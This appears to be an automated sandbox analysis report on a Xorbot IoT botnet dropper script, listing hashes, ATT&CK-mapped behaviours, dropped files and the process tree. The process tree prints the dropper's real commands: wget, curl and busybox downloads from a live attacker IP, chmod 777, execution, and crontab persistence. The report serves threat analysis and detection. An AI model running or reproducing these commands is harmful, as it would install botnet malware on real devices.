xorbot | 56ffdc2679cf8715dddb3f56f52cf2b650f3ad220dc77610da0a897cc835a627

Analysis

max time kernel
150s
max time network
162s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03-12-2024 14:55

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General

Target

bins.sh
Size

10KB
MD5

3b8b6765d7640335ac5904db51941316
SHA1

41d3ed3e99d3c26185c182282f6210f3def75b91
SHA256

56ffdc2679cf8715dddb3f56f52cf2b650f3ad220dc77610da0a897cc835a627
SHA512

f24c1f8cd195a71f9392081b3aeaed8d32819c6bb4337ec57c5d0034abea6bfce3884757d5b212ce225d82033f08f16587ed8086452023ec9ce29ba1fe102f5b
SSDEEP

192:nR57dzBtlmm8DL9v3/K+0mI/nkB/VmXjh8ML+Xjh8MLgVdR5dCdBtlmmUhv3/K+f:7dzBtlmm8DL0kBdmXjh8ML+Xjh8MLqr1

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-6.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2065) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
702	chmod
805	chmod
816	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET	704	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
/tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt	806	Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
/tmp/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW	821	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW

Renames itself 1 IoCs

pid	Process
705	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.vGM1Bs	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/6/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/764/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/922/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/13/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/138/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/667/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/750/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/754/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/756/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/873/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/976/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/991/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/3/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/734/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/802/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/921/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/143/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/788/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/857/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/891/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/940/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/1003/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/1012/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/1029/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/661/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/786/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/797/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/890/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/932/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/993/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/1048/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/279/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/692/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/747/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/789/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/948/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/1025/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/1036/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/697/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/721/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/742/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/815/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/919/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/942/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/1040/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/165/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/699/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/710/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/762/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/869/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/75/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/810/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/970/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/278/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/720/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/773/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/798/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/878/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/1008/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/1009/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/727/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/988/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET	curl
File opened for modification	/tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET	busybox
File opened for modification	/tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt	busybox
File opened for modification	/tmp/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW	busybox
File opened for modification	/tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:668
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:670
- /usr/bin/wget
  wget http://216.126.231.240/bins/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  2⤵
  - Writes file to tmp directory
  PID:673
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:691
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  2⤵
  - Writes file to tmp directory
  PID:700
- /bin/chmod
  chmod 777 ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  2⤵
  - File and Directory Permissions Modification
  PID:702
- /tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  ./ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:704
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:706
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:707
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:708
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:709
- /bin/rm
  rm ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  2⤵
  PID:711
- /usr/bin/wget
  wget http://216.126.231.240/bins/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  2⤵
  PID:714
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  2⤵
  PID:715
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  2⤵
  - Writes file to tmp directory
  PID:796
- /bin/chmod
  chmod 777 Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  ./Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  2⤵
  - Executes dropped EXE
  PID:806
- /bin/rm
  rm Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  2⤵
  PID:808
- /usr/bin/wget
  wget http://216.126.231.240/bins/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
  2⤵
  PID:809
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
  2⤵
  PID:810
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
  2⤵
  - Writes file to tmp directory
  PID:811
- /bin/chmod
  chmod 777 q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
  ./q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
  2⤵
  - Executes dropped EXE
  PID:821
- /bin/rm
  rm q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
  2⤵
  PID:823
- /usr/bin/wget
  wget http://216.126.231.240/bins/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV
  2⤵
  PID:824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/var/spool/cron/crontabs/tmp.vGM1Bs

Filesize
210B

MD5
547923bf064edf67d47e23de67b4020b

SHA1
677f52bcc69b5f3619330d27dd0fd6382d1c6749

SHA256
673d2d0a8c35159a321653d731af4ab040c26c5e3e6532dbd4cc2c315865e807

SHA512
211fd6615dc71feff8d54983849eac08adee71263f07dee2f642caabadccced5bcd4abaf4a6fcaedd85c4eb7b0f81c673ca8e27c6a7d45b06a754ae2eb6c1bb3

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads